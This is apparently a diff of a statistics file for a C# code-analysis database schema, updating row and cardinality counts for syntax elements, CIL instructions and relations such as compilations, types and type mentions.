@add_event_accessor -15232 +15219 @remove_event_accessor -15232 +15219 @operator -12411 +12401 @method -1116765 +1115829 @constructor -277672 +277440 @destructor -443 +442 @local_function @@ -265,15 +265,15 @@ @addressable_field -370512 +370202 @constant -185236 +185081 @addressable_local_variable -162439 +162434 @local_constant @@ -285,63 +285,63 @@ @parameter -2417724 +2415699 @block_stmt -308083 +307825 @expr_stmt -367253 +366946 @return_stmt -96042 +95961 @using_block_stmt -1140 +1139 @var_decl_stmt -147910 +147905 @if_stmt -118984 +118884 @switch_stmt -3044 +3042 @while_stmt -4537 +4533 @do_stmt -999 +998 @for_stmt -6955 +6949 @foreach_stmt -5353 +5348 @break_stmt -10896 +10886 @continue_stmt -2184 +2182 @goto_stmt -2695 +2693 @goto_case_stmt @@ -353,7 +353,7 @@ @throw_stmt -74219 +74157 @yield_stmt @@ -361,7 +361,7 @@ @try_stmt -4318 +4314 @checked_stmt @@ -373,7 +373,7 @@ @lock_stmt -1657 +1656 @const_decl_stmt @@ -389,19 +389,19 @@ @fixed_stmt -1124 +1123 @label_stmt -1007 +1006 @catch -3434 +3431 @case_stmt -22410 +22392 @local_function_stmt @@ -413,11 +413,11 @@ @bool_literal_expr -69417 +69359 @int_literal_expr -754355 +751646 @long_literal_expr @@ -425,67 +425,67 @@ @double_literal_expr -853 +852 @string_literal_expr -411805 +411460 @null_literal_expr -107640 +107550 @local_variable_access_expr -524142 +524127 @parameter_access_expr -357008 +356709 @field_access_expr -459684 +459299 @property_access_expr -359148 +358847 @type_access_expr -346329 +346321 @typeof_expr -30050 +30025 @method_invocation_expr -547931 +547916 @cast_expr -262469 +262249 @object_creation_expr -62775 +62722 @array_creation_expr -179091 +178670 @array_init_expr -178920 +178499 @local_var_decl_expr -163743 +163738 @char_literal_expr -15874 +15861 @decimal_literal_expr @@ -493,7 +493,7 @@ @uint_literal_expr -2363 +2361 @ulong_literal_expr @@ -501,15 +501,15 @@ @float_literal_expr -446 +445 @this_access_expr -591889 +591393 @base_access_expr -2817 +2814 @method_access_expr @@ -517,19 +517,19 @@ @event_access_expr -430 +429 @indexer_access_expr -30761 +30735 @array_access_expr -19719 +19703 @delegate_invocation_expr -2136 +2134 @operator_invocation_expr @@ -537,15 +537,15 @@ @explicit_delegate_creation_expr -667 +666 @implicit_delegate_creation_expr -5109 +5105 @default_expr -6349 +6343 @plus_expr @@ -553,39 +553,39 @@ @minus_expr -7133 +7127 @bit_not_expr -740 +739 @log_not_expr -26387 +26365 @post_incr_expr -12547 +12537 @post_decr_expr -1736 +1735 @pre_incr_expr -1272 +1271 @pre_decr_expr -412 +411 @mul_expr -4619 +4615 @div_expr -1815 +1814 @rem_expr @@ -593,47 +593,47 @@ @add_expr -27841 +27817 @sub_expr -12823 +12812 @lshift_expr -4043 +4040 @rshift_expr -1762 +1760 @lt_expr -16273 +16259 @gt_expr -9573 +9565 @le_expr -3891 +3888 @ge_expr -6273 +6268 @eq_expr -53839 +53794 @ne_expr -37899 +37868 @bit_and_expr -6321 +6316 @bit_xor_expr @@ -641,35 +641,35 @@ @bit_or_expr -14967 +14955 @log_and_expr -20802 +20785 @log_or_expr -14059 +14047 @is_expr -6709 +6703 @as_expr -2755 +2753 @null_coalescing_expr -3677 +3674 @conditional_expr -9142 +9134 @simple_assign_expr -167223 +167083 @assign_add_expr @@ -677,7 +677,7 @@ @assign_sub_expr -1016 +1015 @assign_mul_expr @@ -701,7 +701,7 @@ @assign_or_expr -1390 +1389 @assign_lshift_expr @@ -713,11 +713,11 @@ @object_init_expr -7686 +7680 @collection_init_expr -594 +593 @checked_expr @@ -725,11 +725,11 @@ @unchecked_expr -1419 +1418 @constructor_init_expr -5812 +5807 @add_event_expr @@ -745,7 +745,7 @@ @lambda_expr -48775 +48734 @anonymous_method_expr @@ -757,35 +757,35 @@ @dynamic_element_access_expr -331 +330 @dynamic_member_access_expr -6844 +6838 @pointer_indirection_expr -4053 +4049 @address_of_expr -1249 +1248 @sizeof_expr -1039 +1038 @await_expr -54757 +54711 @nameof_expr -15910 +15897 @interpolated_string_expr -3038 +3036 @unknown_expr @@ -793,7 +793,7 @@ @throw_expr -1541 +1539 @tuple_expr @@ -837,15 +837,15 @@ @switch_case_expr -4345 +4341 @assign_coalesce_expr -543 +542 @suppress_nullable_warning_expr -14384 +14372 @namespace_access_expr @@ -877,19 +877,19 @@ @singlelinecomment -184439 +184285 @multilinecomment -22074 +22055 @xmldoccomment -203403 +203233 @commentblock -144079 +143959 @asp_close_tag @@ -929,7 +929,7 @@ @cil_nop -819020 +818334 @cil_break @@ -937,147 +937,147 @@ @cil_ldarg_0 -3970135 +3966809 @cil_ldarg_1 -1215099 +1214082 @cil_ldarg_2 -443307 +442936 @cil_ldarg_3 -208896 +208721 @cil_ldloc_0 -928064 +927287 @cil_ldloc_1 -493291 +492878 @cil_ldloc_2 -288350 +288108 @cil_ldloc_3 -191813 +191652 @cil_stloc_0 -524291 +523852 @cil_stloc_1 -260175 +259957 @cil_stloc_2 -198057 +197891 @cil_stloc_3 -138122 +138007 @cil_ldarg_s -264179 +263958 @cil_ldarga_s -74675 +74612 @cil_starg_s -37128 +37097 @cil_ldloc_s -685498 +684924 @cil_ldloca_s -628447 +627920 @cil_stloc_s -480236 +479834 @cil_ldnull -602956 +602451 @cil_ldc_i4_m1 -126042 +125936 @cil_ldc_i4_0 -624794 +624270 @cil_ldc_i4_1 -494031 +493617 @cil_ldc_i4_2 -120878 +120777 @cil_ldc_i4_3 -64070 +64017 @cil_ldc_i4_4 -58805 +58755 @cil_ldc_i4_5 -38633 +38601 @cil_ldc_i4_6 -23235 +23216 @cil_ldc_i4_7 -20726 +20709 @cil_ldc_i4_8 -33440 +33412 @cil_ldc_i4_s -422800 +422446 @cil_ldc_i4 -510208 +509781 @cil_ldc_i8 -4880 +4876 @cil_ldc_r4 -10248 +10240 @cil_ldc_r8 -10317 +10308 @cil_dup -841128 +840423 @cil_pop -256142 +255927 @cil_jmp @@ -1085,7 +1085,7 @@ @cil_call -2738356 +2736062 @cil_calli @@ -1093,95 +1093,95 @@ @cil_ret -1784420 +1782925 @cil_br_s -345426 +345136 @cil_brfalse_s -465437 +465047 @cil_brtrue_s -430219 +429858 @cil_beq_s -82167 +82098 @cil_bge_s -34887 +34858 @cil_bgt_s -16479 +16465 @cil_ble_s -29168 +29144 @cil_blt_s -60865 +60814 @cil_bne_un_s -102543 +102457 @cil_bge_un_s -2182 +2180 @cil_bgt_un_s -8724 +8717 @cil_ble_un_s -6113 +6108 @cil_blt_un_s -1466 +1465 @cil_br -96050 +95969 @cil_brfalse -32359 +32332 @cil_brtrue -27303 +27280 @cil_beq -21486 +21468 @cil_bge -1388 +1387 @cil_bgt -1461 +1460 @cil_ble -4637 +4633 @cil_blt -7925 +7918 @cil_bne_un -7228 +7222 @cil_bge_un @@ -1193,7 +1193,7 @@ @cil_ble_un -1100 +1099 @cil_blt_un @@ -1201,7 +1201,7 @@ @cil_switch -23854 +23834 @cil_ldind_i1 @@ -1209,7 +1209,7 @@ @cil_ldind_u1 -5504 +5499 @cil_ldind_i2 @@ -1217,19 +1217,19 @@ @cil_ldind_u2 -2441 +2439 @cil_ldind_i4 -9766 +9758 @cil_ldind_u4 -1480 +1479 @cil_ldind_i8 -1967 +1966 @cil_ldind_i @@ -1237,59 +1237,59 @@ @cil_ldind_r4 -701 +700 @cil_ldind_r8 -263 +262 @cil_ldind_ref -6649 +6643 @cil_stind_ref -16917 +16903 @cil_stind_i1 -8514 +8507 @cil_stind_i2 -1374 +1373 @cil_stind_i4 -10351 +10342 @cil_stind_i8 -2343 +2341 @cil_stind_r4 -185 +184 @cil_stind_r8 -224 +223 @cil_add -223738 +223551 @cil_sub -85192 +85120 @cil_mul -29918 +29893 @cil_div -9114 +9106 @cil_div_un @@ -1297,7 +1297,7 @@ @cil_rem -3404 +3402 @cil_rem_un @@ -1305,71 +1305,71 @@ @cil_and -59272 +59223 @cil_or -22124 +22106 @cil_xor -22690 +22671 @cil_shl -18948 +18933 @cil_shr -9167 +9159 @cil_shr_un -26080 +26058 @cil_neg -2333 +2331 @cil_not -1456 +1455 @cil_conv_i1 -1383 +1382 @cil_conv_i2 -1446 +1445 @cil_conv_i4 -59715 +59665 @cil_conv_i8 -50236 +50194 @cil_conv_r4 -2464 +2462 @cil_conv_r8 -5275 +5271 @cil_conv_u4 -7823 +7816 @cil_conv_u8 -19523 +19507 @cil_callvirt -2048249 +2046533 @cil_cpobj @@ -1377,27 +1377,27 @@ @cil_ldobj -12640 +12630 @cil_ldstr -925770 +924994 @cil_newobj -656378 +655828 @cil_castclass -96965 +96884 @cil_isinst -56388 +56341 @cil_conv_r_un -263 +262 @cil_unbox @@ -1405,35 +1405,35 @@ @cil_throw -380825 +380506 @cil_ldfld -1674930 +1673527 @cil_ldflda -300387 +300135 @cil_stfld -1071964 +1071066 @cil_ldsfld -406910 +406569 @cil_ldsflda -2528 +2526 @cil_stsfld -130781 +130672 @cil_stobj -7014 +7008 @cil_conv_ovf_i1_un @@ -1477,19 +1477,19 @@ @cil_box -79756 +79689 @cil_newarr -111993 +111899 @cil_ldlen -55273 +55227 @cil_ldelema -9859 +9851 @cil_ldelem_i1 @@ -1497,7 +1497,7 @@ @cil_ldelem_u1 -15558 +15545 @cil_ldelem_i2 @@ -1505,19 +1505,19 @@ @cil_ldelem_u2 -6084 +6079 @cil_ldelem_i4 -17565 +17550 @cil_ldelem_u4 -19095 +19079 @cil_ldelem_i8 -11910 +11900 @cil_ldelem_i @@ -1533,7 +1533,7 @@ @cil_ldelem_ref -30669 +30643 @cil_stelem_i @@ -1541,19 +1541,19 @@ @cil_stelem_i1 -8782 +8775 @cil_stelem_i2 -8977 +8970 @cil_stelem_i4 -22802 +22782 @cil_stelem_i8 -9416 +9408 @cil_stelem_r4 @@ -1561,23 +1561,23 @@ @cil_stelem_r8 -477 +476 @cil_stelem_ref -362567 +362264 @cil_ldelem -2274 +2272 @cil_stelem -53563 +53518 @cil_unbox_any -14374 +14362 @cil_conv_ovf_i1 @@ -1585,7 +1585,7 @@ @cil_conv_ovf_u1 -112 +111 @cil_conv_ovf_i2 @@ -1625,19 +1625,19 @@ @cil_ldtoken -71241 +71181 @cil_conv_u2 -4335 +4331 @cil_conv_u1 -11247 +11238 @cil_conv_i -3658 +3655 @cil_conv_ovf_i @@ -1649,15 +1649,15 @@ @cil_add_ovf -1729 +1727 @cil_add_ovf_un -151 +150 @cil_mul_ovf -443 +442 @cil_mul_ovf_un @@ -1665,7 +1665,7 @@ @cil_sub_ovf -1110 +1109 @cil_sub_ovf_un @@ -1673,15 +1673,15 @@ @cil_endfinally -56841 +56794 @cil_leave -66793 +66737 @cil_leave_s -149190 +149065 @cil_stind_i @@ -1689,7 +1689,7 @@ @cil_conv_u -5802 +5797 @cil_arglist @@ -1697,31 +1697,31 @@ @cil_ceq -96868 +96787 @cil_cgt -11554 +11545 @cil_cgt_un -36669 +36639 @cil_clt -19501 +19484 @cil_clt_un -1312 +1311 @cil_ldftn -79848 +79781 @cil_ldvirtftn -1110 +1109 @cil_ldarg @@ -1749,11 +1749,11 @@ @cil_localloc -977 +976 @cil_endfilter -808 +807 @cil_unaligned @@ -1761,7 +1761,7 @@ @cil_volatile -8529 +8522 @cil_tail @@ -1769,11 +1769,11 @@ @cil_initobj -101671 +101586 @cil_constrained -25286 +25265 @cil_cpblk @@ -1785,11 +1785,11 @@ @cil_rethrow -3765 +3762 @cil_sizeof -1729 +1727 @cil_refanytype @@ -1801,80 +1801,80 @@ @cil_valueorreftype -595284 +594785 @cil_typeparameter -184774 +184619 @cil_array_type -14170 +14158 @cil_pointer_type -623 +622 @cil_method -2311883 +2309946 @cil_method_implementation -1725898 +1724452 @cil_field -1008424 +1007580 @cil_parameter -4546802 +4542993 @cil_property -379938 +379620 @cil_event -20843 +20826 @cil_local_variable -1150736 +1149772 @cil_catch_handler -43811 +43774 @cil_filter_handler -808 +807 @cil_finally_handler -55370 +55324 @cil_fault_handler -1471 +1469 @cil_attribute -328299 +328023 compilations -1096 +1095 id -1096 +1095 cwd -784 +783 @@ -1888,7 +1888,7 @@ 1 2 -1096 +1095 @@ -1919,11 +1919,11 @@ compilation_args -4481 +4959 id -1096 +1095 num @@ -1931,7 +1931,7 @@ arg -1120 +1119 @@ -1945,12 +1945,12 @@ 4 5 -998 +515 5 6 -97 +579 @@ -1966,12 +1966,12 @@ 4 5 -998 +515 5 6 -97 +579 @@ -1985,8 +1985,8 @@ 12 -20 -21 +119 +120 4 @@ -2011,13 +2011,13 @@ 14 -20 -21 +107 +108 4 -206 -207 +119 +120 4 @@ -2034,10 +2034,10 @@ 1 2 -1096 +1095 -20 +106 226 24 @@ -2055,7 +2055,7 @@ 1 2 -1110 +1109 2 @@ -2070,19 +2070,19 @@ compilation_compiling_files -22587 +22568 id -1096 +1095 num -711 +710 file -22582 +22563 @@ -2420,7 +2420,7 @@ 1 2 -22577 +22559 2 @@ -2441,7 +2441,7 @@ 1 2 -22577 +22559 2 @@ -2456,19 +2456,19 @@ compilation_referencing_files -359304 +359003 id -1096 +1095 num -2742 +2740 file -3414 +3411 @@ -2644,7 +2644,7 @@ 7 8 -696 +695 8 @@ -2659,12 +2659,12 @@ 222 223 -638 +637 224 225 -711 +710 225 @@ -2685,62 +2685,62 @@ 1 4 -219 +223 4 -6 -87 +5 +4 -6 -7 +5 +6 608 -7 -20 -233 +6 +18 +223 -20 -25 -253 +18 +23 +223 -25 +23 30 -180 - - -30 -35 -214 - - -35 -45 219 -46 -57 -189 +30 +34 +219 -57 -59 -185 +34 +44 +209 -59 -61 -224 +44 +56 +233 -61 -65 -126 +56 +63 +233 + + +63 +66 +223 + + +66 +70 +116 @@ -2756,12 +2756,12 @@ 1 2 -526 +525 2 5 -258 +257 6 @@ -2781,12 +2781,12 @@ 10 23 -258 +257 23 122 -258 +257 124 @@ -2801,12 +2801,12 @@ 222 223 -482 +481 224 225 -716 +715 @@ -2822,63 +2822,63 @@ 1 2 -560 +559 2 5 -258 +292 5 6 -165 +180 6 7 -326 +311 7 -10 -258 +11 +257 -10 -18 -292 +11 +19 +267 -18 -22 -282 +19 +24 +287 -22 -26 -258 +24 +29 +272 -26 -43 -263 +29 +58 +262 -45 -60 -282 +58 +63 +248 -60 -64 -214 - - -64 -73 +63 +65 253 + +65 +74 +219 + @@ -2887,11 +2887,11 @@ compilation_time -7672 +7665 id -1096 +1095 num @@ -2903,7 +2903,7 @@ seconds -5392 +5494 @@ -2917,7 +2917,7 @@ 1 2 -1096 +1095 @@ -2933,7 +2933,7 @@ 7 8 -1096 +1095 @@ -2949,12 +2949,12 @@ 6 7 -9 +4 7 8 -1086 +1090 @@ -3000,8 +3000,8 @@ 12 -1107 -1108 +1129 +1130 4 @@ -3048,18 +3048,13 @@ 12 -153 -154 +151 +152 4 -156 -157 -4 - - -168 -169 +165 +166 4 @@ -3068,9 +3063,19 @@ 4 +183 +184 +4 + + +224 +225 +9 + + 225 226 -14 +4 @@ -3086,12 +3091,12 @@ 1 2 -4286 +4356 2 3 -496 +540 3 @@ -3100,8 +3105,8 @@ 5 -9 -141 +7 +131 @@ -3117,7 +3122,7 @@ 1 2 -5392 +5494 @@ -3133,17 +3138,17 @@ 1 2 -4491 +4604 2 3 -735 +715 3 5 -165 +175 @@ -4414,7 +4419,7 @@ stack_trace -257 +321 @@ -4642,8 +4647,8 @@ 2 -256 -257 +320 +321 1 @@ -4738,8 +4743,8 @@ 12 -257 -258 +321 +322 1 @@ -4866,17 +4871,17 @@ 1 2 -157 +202 2 3 -256 +213 3 -135 -28 +181 +26 @@ -5002,12 +5007,17 @@ 1 2 -5364 +5311 2 -15 -398 +5 +442 + + +5 +17 +9 @@ -5128,12 +5138,12 @@ 1 2 -7032 +6929 2 -8 -443 +9 +546 @@ -5149,57 +5159,52 @@ 1 2 -65 +88 2 3 -40 +45 3 4 -16 +22 4 -5 -13 - - -5 6 -12 +24 6 8 -20 +23 8 -12 -19 +13 +26 -12 -25 -20 +13 +26 +25 -28 -60 -20 +26 +54 +25 -65 -241 -20 +54 +166 +25 -257 -1074 -12 +172 +632 +18 @@ -5215,7 +5220,7 @@ 1 2 -256 +320 2 @@ -5236,7 +5241,7 @@ 1 2 -257 +321 @@ -5252,17 +5257,12 @@ 1 2 -235 +303 2 -113 -20 - - -122 -164 -2 +166 +18 @@ -5278,52 +5278,47 @@ 1 2 -83 +110 2 3 -41 +42 3 4 -22 +27 4 -5 -11 - - -5 6 -16 +23 6 9 -20 +29 9 -20 -20 +16 +25 -20 -54 -20 +16 +35 +26 -54 -273 -20 +35 +104 +25 -339 -873 -4 +109 +497 +14 @@ -5339,52 +5334,52 @@ 1 2 -78 +104 2 3 -38 +41 3 4 -18 +24 4 -5 -13 +6 +22 -5 -7 +6 +8 23 -7 -11 -21 +8 +14 +28 -11 -22 -20 +14 +29 +25 -24 -66 -20 +29 +70 +25 -71 -298 -20 +70 +325 +25 -329 -1074 -6 +343 +632 +4 @@ -5394,19 +5389,19 @@ compilation_finished -1096 +1095 id -1096 +1095 cpu_seconds -940 +939 elapsed_seconds -1096 +1095 @@ -5420,7 +5415,7 @@ 1 2 -1096 +1095 @@ -5436,7 +5431,7 @@ 1 2 -1096 +1095 @@ -5452,17 +5447,17 @@ 1 2 -813 +803 2 3 -107 +121 3 -6 -19 +5 +14 @@ -5478,17 +5473,17 @@ 1 2 -813 +803 2 3 -107 +121 3 -6 -19 +5 +14 @@ -5504,7 +5499,7 @@ 1 2 -1096 +1095 @@ -5520,7 +5515,7 @@ 1 2 -1096 +1095 @@ -6182,19 +6177,19 @@ duplicateCode -22738 +22719 id -22738 +22719 relativePath -3804 +3801 equivClass -7009 +7003 @@ -6208,7 +6203,7 @@ 1 2 -22738 +22719 @@ -6224,7 +6219,7 @@ 1 2 -22738 +22719 @@ -6245,7 +6240,7 @@ 2 3 -565 +564 3 @@ -6265,7 +6260,7 @@ 6 8 -336 +335 8 @@ -6301,17 +6296,17 @@ 1 2 -1130 +1129 2 3 -521 +520 3 4 -443 +442 4 @@ -6362,17 +6357,17 @@ 2 3 -3765 +3762 3 4 -1144 +1143 4 5 -784 +783 5 @@ -6403,22 +6398,22 @@ 1 2 -677 +676 2 3 -3439 +3436 3 4 -1076 +1075 4 5 -677 +676 5 @@ -8511,11 +8506,11 @@ locations_default -14069317 +14069206 id -14069317 +14069206 file @@ -8549,7 +8544,7 @@ 1 2 -14069317 +14069206 @@ -8565,7 +8560,7 @@ 1 2 -14069317 +14069206 @@ -8581,7 +8576,7 @@ 1 2 -14069317 +14069206 @@ -8597,7 +8592,7 @@ 1 2 -14069317 +14069206 @@ -8613,7 +8608,7 @@ 1 2 -14069317 +14069206 @@ -9073,7 +9068,7 @@ 301 -10740 +10739 9050 @@ -9363,7 +9358,7 @@ 76023 -2221138 +2221113 24 @@ -9962,7 +9957,7 @@ 124 -82672 +82670 908062 42 @@ -10729,27 +10724,27 @@ assemblies -4198 +4195 id -4198 +4195 file -4198 +4195 fullname -3439 +3436 name -3171 +3168 version -370 +369 @@ -10763,7 +10758,7 @@ 1 2 -4198 +4195 @@ -10779,7 +10774,7 @@ 1 2 -4198 +4195 @@ -10795,7 +10790,7 @@ 1 2 -4198 +4195 @@ -10811,7 +10806,7 @@ 1 2 -4198 +4195 @@ -10827,7 +10822,7 @@ 1 2 -4198 +4195 @@ -10843,7 +10838,7 @@ 1 2 -4198 +4195 @@ -10859,7 +10854,7 @@ 1 2 -4198 +4195 @@ -10875,7 +10870,7 @@ 1 2 -4198 +4195 @@ -10891,7 +10886,7 @@ 1 2 -2679 +2676 2 @@ -10912,7 +10907,7 @@ 1 2 -2679 +2676 2 @@ -10933,7 +10928,7 @@ 1 2 -3439 +3436 @@ -10949,7 +10944,7 @@ 1 2 -3439 +3436 @@ -10965,12 +10960,12 @@ 1 2 -2187 +2185 2 3 -940 +939 3 @@ -10991,12 +10986,12 @@ 1 2 -2187 +2185 2 3 -940 +939 3 @@ -11017,12 +11012,12 @@ 1 2 -2947 +2944 2 4 -224 +223 @@ -11038,12 +11033,12 @@ 1 2 -2947 +2944 2 4 -224 +223 @@ -11217,19 +11212,19 @@ files -42471 +42436 id -42471 +42436 name -42471 +42436 simple -22938 +22919 ext @@ -11251,7 +11246,7 @@ 1 2 -42471 +42436 @@ -11267,7 +11262,7 @@ 1 2 -42471 +42436 @@ -11283,7 +11278,7 @@ 1 2 -42471 +42436 @@ -11299,7 +11294,7 @@ 1 2 -42471 +42436 @@ -11315,7 +11310,7 @@ 1 2 -42471 +42436 @@ -11331,7 +11326,7 @@ 1 2 -42471 +42436 @@ -11347,7 +11342,7 @@ 1 2 -42471 +42436 @@ -11363,7 +11358,7 @@ 1 2 -42471 +42436 @@ -11379,12 +11374,12 @@ 1 2 -21530 +21512 2 154 -1407 +1406 @@ -11400,12 +11395,12 @@ 1 2 -21530 +21512 2 154 -1407 +1406 @@ -11421,12 +11416,12 @@ 1 2 -22149 +22130 2 5 -789 +788 @@ -11442,7 +11437,7 @@ 1 2 -22938 +22919 @@ -11680,19 +11675,19 @@ folders -16932 +16918 id -16932 +16918 name -14715 +14703 simple -2771 +2769 @@ -11706,7 +11701,7 @@ 1 2 -16932 +16918 @@ -11722,7 +11717,7 @@ 1 2 -16932 +16918 @@ -11738,7 +11733,7 @@ 1 2 -14715 +14703 @@ -11754,12 +11749,12 @@ 1 2 -12499 +12489 2 3 -2216 +2214 @@ -11775,7 +11770,7 @@ 1 2 -1816 +1815 2 @@ -11811,7 +11806,7 @@ 1 2 -1816 +1815 2 @@ -11841,15 +11836,15 @@ containerparent -57178 +57130 parent -14715 +14703 child -57178 +57130 @@ -11863,12 +11858,12 @@ 1 2 -8251 +8244 2 3 -1933 +1932 3 @@ -11878,17 +11873,17 @@ 4 5 -969 +968 5 9 -1105 +1104 9 18 -1139 +1138 18 @@ -11909,7 +11904,7 @@ 1 2 -57178 +57130 @@ -11919,11 +11914,11 @@ file_extraction_mode -26781 +26759 file -26781 +26759 mode @@ -11941,7 +11936,7 @@ 1 2 -26781 +26759 @@ -11967,15 +11962,15 @@ namespaces -21944 +21926 id -21944 +21926 name -4890 +4886 @@ -11989,7 +11984,7 @@ 1 2 -21944 +21926 @@ -12010,7 +12005,7 @@ 2 3 -3492 +3489 3 @@ -12020,17 +12015,17 @@ 4 5 -623 +622 6 10 -370 +369 10 101 -370 +369 110 @@ -12045,15 +12040,15 @@ namespace_declarations -19762 +19745 id -19762 +19745 namespace_id -3887 +3883 @@ -12067,7 +12062,7 @@ 1 2 -19762 +19745 @@ -12083,7 +12078,7 @@ 1 2 -1398 +1396 2 @@ -12093,7 +12088,7 @@ 3 4 -414 +413 4 @@ -12103,22 +12098,22 @@ 5 6 -224 +223 6 9 -331 +330 9 17 -302 +301 17 996 -112 +111 @@ -12128,15 +12123,15 @@ namespace_declaration_location -19762 +19745 id -19762 +19745 loc -19762 +19745 @@ -12150,7 +12145,7 @@ 1 2 -19762 +19745 @@ -12166,7 +12161,7 @@ 1 2 -19762 +19745 @@ -12176,15 +12171,15 @@ parent_namespace -777155 +776504 child_id -777155 +776504 namespace_id -13556 +13545 @@ -12198,7 +12193,7 @@ 1 2 -777155 +776504 @@ -12214,17 +12209,17 @@ 1 2 -3327 +3324 2 3 -1626 +1625 3 4 -1027 +1026 4 @@ -12234,17 +12229,17 @@ 5 7 -1251 +1250 7 10 -1091 +1090 10 15 -1139 +1138 15 @@ -12254,12 +12249,12 @@ 23 51 -1027 +1026 51 835 -1018 +1017 900 @@ -12274,15 +12269,15 @@ parent_namespace_declaration -88314 +88240 child_id -87798 +87724 namespace_id -19762 +19745 @@ -12296,12 +12291,12 @@ 1 2 -87647 +87573 2 60 -151 +150 @@ -12317,27 +12312,27 @@ 1 2 -13780 +13769 2 9 -1714 +1713 9 13 -1276 +1275 13 16 -1427 +1426 16 32 -1510 +1508 32 @@ -12352,15 +12347,15 @@ using_namespace_directives -144270 +144149 id -144270 +144149 namespace_id -4228 +4224 @@ -12374,7 +12369,7 @@ 1 2 -144270 +144149 @@ -12390,7 +12385,7 @@ 1 2 -1495 +1494 2 @@ -12400,7 +12395,7 @@ 3 4 -297 +296 4 @@ -12415,7 +12410,7 @@ 8 14 -336 +335 14 @@ -12533,15 +12528,15 @@ using_directive_location -144328 +144207 id -144328 +144207 loc -144284 +144163 @@ -12555,7 +12550,7 @@ 1 2 -144328 +144207 @@ -12571,7 +12566,7 @@ 1 2 -144240 +144120 2 @@ -12586,11 +12581,11 @@ types -867272 +866545 id -867272 +866545 kind @@ -12598,7 +12593,7 @@ name -366903 +366595 @@ -12612,7 +12607,7 @@ 1 2 -867272 +866545 @@ -12628,7 +12623,7 @@ 1 2 -867272 +866545 @@ -12726,17 +12721,17 @@ 1 2 -324650 +324378 2 5 -28842 +28818 5 6356 -13410 +13399 @@ -12752,12 +12747,12 @@ 1 2 -365466 +365160 2 4 -1437 +1435 @@ -12767,15 +12762,15 @@ typerefs -234820 +234624 id -234820 +234624 name -177004 +176856 @@ -12789,7 +12784,7 @@ 1 2 -234820 +234624 @@ -12805,17 +12800,17 @@ 1 2 -162454 +162318 2 7 -13483 +13472 7 2183 -1066 +1065 @@ -12825,15 +12820,15 @@ typeref_type -234640 +234444 id -234640 +234444 typeId -234640 +234444 @@ -12847,7 +12842,7 @@ 1 2 -234640 +234444 @@ -12863,7 +12858,7 @@ 1 2 -234640 +234444 @@ -12873,11 +12868,11 @@ array_element_type -9123 +9116 array -9123 +9116 dimension @@ -12889,7 +12884,7 @@ element -9114 +9106 @@ -12903,7 +12898,7 @@ 1 2 -9123 +9116 @@ -12919,7 +12914,7 @@ 1 2 -9123 +9116 @@ -12935,7 +12930,7 @@ 1 2 -9123 +9116 @@ -13077,7 +13072,7 @@ 1 2 -9104 +9096 2 @@ -13098,7 +13093,7 @@ 1 2 -9114 +9106 @@ -13114,7 +13109,7 @@ 1 2 -9104 +9096 2 @@ -13225,11 +13220,11 @@ enum_underlying_type -11953 +11943 enum_id -11953 +11943 underlying_type_id @@ -13247,7 +13242,7 @@ 1 2 -11953 +11943 @@ -13303,15 +13298,15 @@ delegate_return_type -107565 +107475 delegate_id -107565 +107475 return_type_id -55517 +55470 @@ -13325,7 +13320,7 @@ 1 2 -107565 +107475 @@ -13341,12 +13336,12 @@ 1 2 -52204 +52160 2 4178 -3312 +3309 @@ -13356,15 +13351,15 @@ extend -323525 +323254 sub -323525 +323254 super -31570 +31543 @@ -13378,7 +13373,7 @@ 1 2 -323525 +323254 @@ -13394,22 +13389,22 @@ 1 2 -22631 +22612 2 3 -3979 +3976 3 5 -2416 +2414 5 70 -2377 +2375 70 @@ -13424,15 +13419,15 @@ implement -541691 +541237 sub -226379 +226189 super -122559 +122456 @@ -13446,27 +13441,27 @@ 1 2 -100785 +100700 2 3 -57051 +57003 3 4 -36115 +36084 4 7 -18973 +18957 7 21 -13454 +13442 @@ -13482,27 +13477,27 @@ 1 2 -66959 +66903 2 3 -29787 +29762 3 4 -10248 +10240 4 6 -8695 +8687 6 21807 -6868 +6862 @@ -13512,15 +13507,15 @@ type_location -553757 +553293 id -467020 +466629 loc -29879 +29854 @@ -13534,17 +13529,17 @@ 1 2 -407436 +407095 2 3 -39237 +39204 3 638 -20346 +20329 @@ -13560,17 +13555,17 @@ 1 2 -26007 +25985 2 26 -2269 +2268 26 12195 -1602 +1601 @@ -13580,15 +13575,15 @@ tuple_underlying_type -1782 +1781 tuple -1782 +1781 struct -1139 +1138 @@ -13602,7 +13597,7 @@ 1 2 -1782 +1781 @@ -13638,11 +13633,11 @@ tuple_element -6790 +6784 tuple -1777 +1776 index @@ -13650,7 +13645,7 @@ field -6790 +6784 @@ -13988,7 +13983,7 @@ 1 2 -6790 +6784 @@ -14004,7 +13999,7 @@ 1 2 -6790 +6784 @@ -14014,19 +14009,19 @@ attributes -749360 +748732 id -749360 +748732 type_id -1685 +1684 target -429103 +428744 @@ -14040,7 +14035,7 @@ 1 2 -749360 +748732 @@ -14056,7 +14051,7 @@ 1 2 -749360 +748732 @@ -14072,7 +14067,7 @@ 1 2 -185 +184 2 @@ -14219,17 +14214,17 @@ 1 2 -365612 +365306 2 3 -48814 +48773 3 957 -14676 +14664 @@ -14245,17 +14240,17 @@ 1 2 -394829 +394499 2 15 -33450 +33422 15 20 -823 +822 @@ -14265,15 +14260,15 @@ attribute_location -817425 +816740 id -749360 +748732 loc -72337 +72276 @@ -14287,12 +14282,12 @@ 1 2 -681295 +680724 2 3 -68065 +68008 @@ -14308,12 +14303,12 @@ 1 2 -68133 +68076 4 26710 -4203 +4200 @@ -14323,19 +14318,19 @@ type_mention -1267440 +1266369 id -1267440 +1266369 type_id -34409 +34380 parent -1027231 +1026360 @@ -14349,7 +14344,7 @@ 1 2 -1267440 +1266369 @@ -14365,7 +14360,7 @@ 1 2 -1267440 +1266369 @@ -14381,52 +14376,52 @@ 1 2 -4957 +4953 2 3 -6788 +6782 3 4 -3380 +3377 4 5 -4020 +4017 5 6 -2094 +2092 6 8 -2899 +2897 8 12 -2799 +2796 12 20 -2611 +2609 20 51 -2581 +2579 51 82736 -2276 +2274 @@ -14442,52 +14437,52 @@ 1 2 -9453 +9445 2 3 -5695 +5690 3 4 -3307 +3304 4 5 -2997 +2994 5 6 -1944 +1943 6 8 -2511 +2508 8 13 -2757 +2755 13 29 -2626 +2624 29 206 -2583 +2581 206 67615 -532 +531 @@ -14503,17 +14498,17 @@ 1 2 -869739 +869001 2 3 -137167 +137052 3 342 -20323 +20306 @@ -14529,12 +14524,12 @@ 1 2 -1006580 +1005727 2 22 -20650 +20633 @@ -14544,15 +14539,15 @@ type_mention_location -1267440 +1266369 id -1267440 +1266369 loc -1138156 